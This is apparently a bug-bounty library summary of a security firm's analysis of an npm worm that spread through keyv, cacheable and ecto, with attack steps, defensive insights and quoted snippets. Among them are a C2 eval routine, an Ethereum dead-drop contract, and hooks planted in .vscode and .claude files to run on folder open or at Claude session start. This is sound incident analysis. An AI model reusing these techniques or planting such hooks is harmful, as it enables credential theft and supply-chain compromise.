# 'ChainDrop' worm compromises hundreds of popular npm packages

Compromised npm maintainer account pushed a self-propagating worm into keyv, cacheable and ecto packages, stealing CI/cloud credentials and republishing backdoored versions.

- Payout: Real-world hack
- Severity: critical
- Program: npm
- Analysis by: Datadog Security Labs
- Disclosed: 2026-08-04
- Write-up quality: 9/10
- Original: https://securitylabs.datadoghq.com/articles/npm-worm-compromises-popular-npm-packages/
- Library page: https://bugbountylibrary.com/r/blog%3Asecuritylabs-datadoghq-com-articles-npm-worm-compromises-popular-npm-packages
- Tags: area:oss domain:oss impact:data-leak impact:mass-exploit kind:incident platform:threat-intel sev:critical tech:aws tech:github-actions tech:kubernetes tech:nodejs technique:source-review vuln:secrets-leak

**Target:** npm packages and GitHub repositories (keyv, cacheable, ecto)
**Root cause:** A threat actor gained commit/release access to the jaredwray repositories and injected a preinstall loader (setup.mjs) plus a Bun-run second stage into published packages; stolen npm/GitHub tokens then let the payload republish itself into further packages and branches.
**Steps:**
1. Unsigned commit `29c773…` adds `setup.mjs`, `Math_Symbol.js`, a `preinstall` script and release config to keyv
2. `preinstall` runs `node setup.mjs` at install time, which accepts an installed bun or downloads Bun v1.3.13 and launches the second stage `math_init.js` under Bun
3. Second stage detaches itself, sets `_NODE_RUNTIME_INIT=1`, takes lock `tmp.dpkg_14527.lock`, and collects files, env vars, Runner.Worker memory, AWS/K8s/Vault secrets
4. Results are gzip+AES-256-GCM encrypted, AES key RSA-OAEP wrapped, POSTed to a domain resolved via eth_call selector `0x53ed5143` on contract `0xE1f2395ee43e45A1556EC6438a88c31B83493103`
5. C2 HTTP 200 body `code` field is passed to `eval()` in the Bun process
6. Stolen npm tokens with `bypass_2fa: true` are used to repack latest tarball with `{"preinstall":"node setup.mjs"}` and publish a patch bump
7. GitHub tokens write `.vscode/tasks.json`, `.claude/math_init.js`, `.claude/settings.json`, `.claude/setup.mjs` and `.vscode/setup.mjs` to up to 50 branches to retrigger on folder open or Claude SessionStart
**How found:** Researchers spotted an unsigned malicious commit in keyv's GitHub repo and traced the same actor's commits to cacheable and ecto, then reconstructed the timeline from GH Archive, Rekor and npm publish events and deobfuscated the two-stage payload.
**Exploitation:** Installing any compromised version executes the loader via preinstall; the Bun second stage harvests credentials from disk, env, GitHub Actions runner memory, AWS Secrets Manager/SSM, Kubernetes secrets and Vault, exfiltrates them encrypted to a contract-selected C2, and uses stolen npm/GitHub tokens to republish backdoored packages and inject branch hooks, spreading worm-style.
**Escalation:** Credential theft feeds propagation: npm tokens with bypass_2fa republish packages, GitHub workflow-scope tokens inject a workflow dumping `${{ toJSON(secrets) }}` to an artifact, and a public-repo fallback relays tokens via a commit marker.
**Insight:** Lifecycle-script loaders can bootstrap a non-Node runtime (Bun) to dodge Node-only monitoring; check preinstall scripts and verify Bun/asset downloads, and treat valid SLSA provenance as binding source-to-artifact, not as a safety signal.

## Proof of concept (copied exactly from the original report)

**C2 response body eval'd as code**

```
const responseBody = JSON.parse(await response.text());
if (responseBody.code) {
 await eval(responseBody.code);
}
```

**Ethereum dead-drop contract eth_call**

```
Contract: 0xE1f2395ee43e45A1556EC6438a88c31B83493103
Selector: 0x53ed5143
Block: latest
```

**Malicious preinstall and npm repack steps**

```
Copies the running second stage to package/math_init.js.

- Writes the embedded 11 KB loader to package/setup.mjs.

- Replaces the entire scripts object with {"preinstall":"node setup.mjs"}.

- Increments the patch version.

- Repacks and publishes directly with the stolen token.
```

